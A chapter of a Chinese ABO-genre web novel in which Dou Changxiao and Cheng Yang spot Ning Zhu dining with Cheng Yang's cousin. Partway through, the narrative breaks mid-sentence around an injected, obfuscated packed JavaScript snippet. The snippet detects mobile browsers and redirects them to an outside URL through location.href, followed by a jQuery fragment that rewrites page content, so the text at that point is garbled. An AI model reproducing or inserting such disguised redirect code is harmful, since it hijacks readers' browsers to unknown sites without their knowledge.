“什么叫我‘不是他的菜’,你说什么呢……”
成烊说到一半忽地顿住,重新品了品这句话的内涵。
那天宁烛在车上说话时没有刻意压低声音,他在后排其实也听见了几句。
当时就感觉有哪里奇怪,只是他那时心思都在方淮心身上,没顾得上细想。
但现在,联系起窦长宵这话,细细琢磨一番……
成烊:“……”
不会吧?
他偏头猛咳了一阵儿,才满脸不可置信地重新转头看向窦长宵。
窦长宵看了他一眼,算是默认了他的猜测。
“这么说,我那天好像看到宁哥留在那张纸里的东西掉下来了,瞧着……好像是银行卡之类的东西。还有在车上的时候,宁哥跟你说的话我也听见一点。比如……”成烊瞟了一眼窦长宵的脸色,“信息素啊,还有,咳咳,深入……”
“……”
窦长宵捏着水瓶的手忽地收了一下力,塑料瓶身被挤压后发出急促的咔哒响声,有一瞬间给人一种几乎要爆裂开的错觉。
成烊火速把嘴闭上了。
过了阵儿,窦长宵松开手,把变形的矿泉水瓶搁在椅子上,道:“没事。你继续说。”
成烊心说我哪还敢继续啊,再讲下去下一个变形的没准就是自己了。
但窦长宵目光逼视过来,成烊不得不再度开口:“行了行了,我不问你要宁……他的联系方式了。”
“不过,他真的打算……嗯嗯你?我天。”成烊搓了把脸,震惊过后,往后靠住长椅椅背,感叹了一番人类复杂的多面性。
“那你现在怎么办,把卡还给他?”
窦长宵:“我没那么闲。”
为了那姓宁的再大费周章跑一趟,那就真是被对方耍得团团转。
成烊点点头,“也是。特意为这种事再找回去,说不定会节外生枝,再惹上什么事端就不好了。”
“反正他没有你联系方式,你不主动打过去,他也找不着你。以后如果在北城再见到,绕着走就是了。”
至于那张卡,对方久等不到窦长宵联系,应该会自己补办。
不联系,绕着走。
这也是窦长宵打算做的。
但与此同时,他也觉得很憋屈。
那姓宁的几次三番地招惹,自己栽了几回,却一次都没有回击过。
对天性争强好胜的Alpha来说,要咽下这口气并不容易。这才导致窦长宵这几天情绪一直都有些躁。
窦长宵心不在焉地应了一声。
“对了,还有件事。”成烊说,“淮心的妹妹心脏一直不好,需要动手术,手术费加上后续治疗,算起来是笔不小的费用。他跟我提分手,去夜场兼职做陪酒就是因为这个。”
提起这事,成烊表情就有点沉重。他跟方淮心之前是正常的追求、交往,两人的感情观都比较理想化,对于彼此的家庭条件这类现实些的问题,从来都是避而不谈。交往过程中,成烊有时能察觉到方淮心偶尔的自卑和回避,因而就选择对自家的背景闭口不提。
以成家的背景,如果他一早了解方淮心所面对的压力,一定会想办法解决。怎么也不会让自己喜欢的Omega在那种地方受折辱。
窦长宵看了他一眼,“钱凑够了?”
“嗯。”成烊语气轻松了些,“我昨天陪淮心去医院缴过费用,手术时间很快会定下来。”
“这两天我要经常跑医院,周末会空下来。那天你应该没课吧?请你吃顿饭。”
窦长宵:“用不着。”
“怎么用不着。”成烊摇头道,“那天要不是你答应出来陪我喝酒,淮心说不定会受欺负。”
窦长宵脑海中窜出一张带着笑容的脸。
说不定会受欺负的人,其实……
窦长宵走了下神,宁烛柔软又轻浮的声音就毫无防备地出现。
——开个价吧。
“……”
窦长宵好不容易压下去的火气于是也跟着窜了上来。
成烊:“那就周末晚上?”
窦长宵没再推脱,应了声“好”。
*
成烊订的餐厅坐落在繁华的中心地段,环境十分雅致。
顶层还有一小片区域为露台餐厅,仅设了三四张餐桌,能够俯瞰北城绚烂的城市夜景,不过在周末这种黄金时段很不好预订。
成烊预约的时间比较紧凑,只订上室内的餐桌。反正他跟窦长宵两个Alpha凑一块用不着那么讲究,也没那种欣赏夜景的雅兴,到什么高级地方都跟去大排档差不多。
事实也的确如此。侍应生将餐品一道道端上,菜名都用不着介绍,桌上的两个Alpha就已经各自拿起餐具示意其可以离开了。
侍应生端庄的表情差点破功,最后还是走流程问了两人需不需要佐餐酒。
成烊要了杯香槟酒,窦长宵则拒绝了。
他酒量不大好。
窦长宵长这么大,唯一一次喝酒还是在自己的升学宴上,他向来赴宴的长辈们敬酒时喝了少许,他的记忆停留在敬第二杯的时候,再往后的事就不记得了。
升学宴过后的第二天,他家人就坐在一起劝他,叫他以后最好是不要沾酒了。
未来如果有天一定要喝,也记得让人牵紧他……
两人坐在对面,有一搭没一搭聊几句,偶尔看手机回复一下消息,跟在学校食堂吃饭并没任何区别。
窦长宵放在手边的屏幕闪烁不停。
【陆朝:】再帮老哥一个忙?
【陆朝:】任氏集团的董事长下个月过寿,公司最近事多,我从海城跑一趟太麻烦。
【陆朝:】左右你在北城念书,顺带过去在礼单上记个名?
窦长宵只是扫了一眼,便把手机倒扣在桌上,并不打算理会。
上次自己就是帮了对方的忙去参加那个没水准的画展,才跟那个姓宁的扯上关系,被牵扯进一连串的破事里头。
“……咦?”
成烊忽然出声。
窦长宵抬起头,对方正诧异地盯着他的身后。
“怎么了。”
成烊比了个手势,示意窦长宵去看后面的某个位置。
餐厅入口处走进来两个青年,打眼望过去,只觉得气质颇为出众。
其中略矮一些、正笑着和迎宾的侍应生说话的那一位,窦长宵简直不要太熟悉。
——那个姓宁的。
与他同行的另一个青年体型更高大一些,不出意外,应该是个Alpha。
窦长宵漠然地转开眼,继续吃饭。
但成烊还在直直地盯着那两人,一直到他们被侍应生带入露台餐厅落座,都没挪开视线。
窦长宵:“需要看那么久?”
成烊皱眉说:“我在看宁哥旁边跟着的那个……好像是我哥。”
窦长宵:“。”
成烊对上窦长宵的眼神,解释道:“不是亲哥,是我堂哥成黎,我大伯家的孩子。我小时候寒暑假常去找他玩,不过上大学后就没见过几回面了。我听说他几个月前出国去了啊!怎么突然回来了……”而且还跟宁烛在一起。
“你堂哥是Alpha?”
“嗯,对啊。黎哥,还有我堂姐,都是Alpha……”成烊忽地顿住。
等等,一个Alpha和一个Omega来这种地方单独吃饭?
成烊不敢置信:“他俩难道是情侣关系?”
窦长宵朝着露台的方向看了一眼。
那个姓宁的身形被他的同伴挡住了一大半,只有身体偶尔往后靠时,窦长宵才能看到他的一点面容,侧脸的笑容看起来很是舒展放松。看样子,似乎跟那个Alpha谈得相当融洽。
成烊:“可他们要是情侣,那宁哥怎么还找你……”
窦长宵收回目光,慢声说:“跟你哥确认一下吧。如果是,那么他可以考虑换一位伴侣。”
成烊就拿手机给成黎发了几条信息,旁敲侧击地打听对方目前的情感状况。可惜成黎此刻跟宁烛聊着天,并没有看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438539|169318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到他的消息。
但成烊觉着这事儿八九不离十了。
成黎应该是从国外回来没多久,一回来就约Omega聚餐,还是在难预订的露台餐区。怎么想都不是普通朋友。
“我之前听家里人聊过八卦,说我堂哥喜欢一个Omega很多年了。”成烊略发愁,“假如那个Omega真的是宁哥,我要怎么跟黎哥说出实情啊。他要是知道自己喜欢的人在自己出国期间……肯定会很伤心。”
窦长宵没作声。
他家里是重组家庭,父亲陆茂安在此前有过另一段婚姻关系,并有一个孩子。刚才消息轰炸他的,就是窦长宵同父异母的哥哥陆朝。虽然窦长宵自认和对方的感情不算亲近,但假使有人这么欺骗他的家人,他不会置身事外。
想起宁烛招惹自己时那副大胆从容的语气,窦长宵用餐刀用力戳了两下盘子里的小牛肉。
那个两头撩的骗子。
露台上,有侍应生走近宁烛那一桌,弯腰将餐厅的菜单递给两人。
窦长宵忽地扔下手里的餐具。
金属与瓷质餐盘碰撞出叮当一声脆响。
成烊一愣,“你要干嘛?”
窦长宵淡淡抛下一句:
“去要挟姓宁的。”
*
宁烛接过递来的菜单,没翻开,抬头对侍应生道:“不好意思,有个朋友还没过来,点单要再等一会儿。”
“好的。”
坐在一旁的成黎看了眼表,“纪驰那边什么情况,放我鸽子?”
“他负责的一个项目临时出了点意外,被绊住了。”宁烛解释说,“不是什么大事,应该很快能解决。”
“哦,行吧。”
成黎听人提起那些工作项目就头疼,转移话题问宁烛:“你呢,最近怎么样?之前听纪驰说你休假,我还挺惊讶的,你平常可是逢年过节都泡在办公室里的。”
宁烛纳闷儿道:“你们怎么都以为我是什么工作狂。”
小陶那小子也是,打电话来第一句居然是问他是不是偷偷跑去公司加班。
他看起来有那么神经病?
成黎反问:“你不是吗?”
从他跟宁烛认识的那天起,就没见这家伙闲过。高中上学的时候宁烛一天到晚闷头学习,放假了就是四处打工找兼职,成黎想一起K个歌都抓不到人。
上大学没多久,同龄人都还沉浸在从高考解脱的喜悦中,宁烛就已经开始琢磨如何做生意赚钱了。
他是成黎认识的所有人里最用功最拼的那个,也就是这两年旗胜发展起来了,宁烛才稍微有了点老板的悠闲派头。
“我那是在家待得无聊,索性到公司打发时间,顺便干点正事。”宁烛为自己辩解,“我不是性取向为‘工作’的受虐狂。”
成黎不予置评。
反正他无聊的时候,是不会用工作打发时间的。
“对了,我听说任绍坤那傻逼回国了?还办了个什么破画展。”
宁烛“嗯”了声。
成黎表情沉了些,“他要是再敢找你什么麻烦……”
他话音未落,忽然一道铃声响起来,打断了他余下的话。
响的是宁烛的手机。
“你说反了。”宁烛没有第一时间去看,先回答成黎的话,“我会先找他的麻烦。”
成黎愣了下,严肃的神态因这话舒缓几分,放松地笑说:“差点儿忘了,你现在可是旗胜的宁大老板,谁能欺负到你头上。”
宁烛这才拿手机看了眼,屏幕上来电的是个陌生号码。
他犹豫一下,接通了。
“你好。”
他礼貌性打完招呼,等了少时,却没等到电话那头的回应。
宁烛把手机从耳边拿下来,看了看正常显示的通话界面,确认没碰到挂断键。
……哦。
宁烛嘴角抿出一点笑弧,接着把电话放到耳边。
电话那端的沉默令他愉快地弯起了眼,语调紧跟着快乐地飘了上去:“长宵呀……”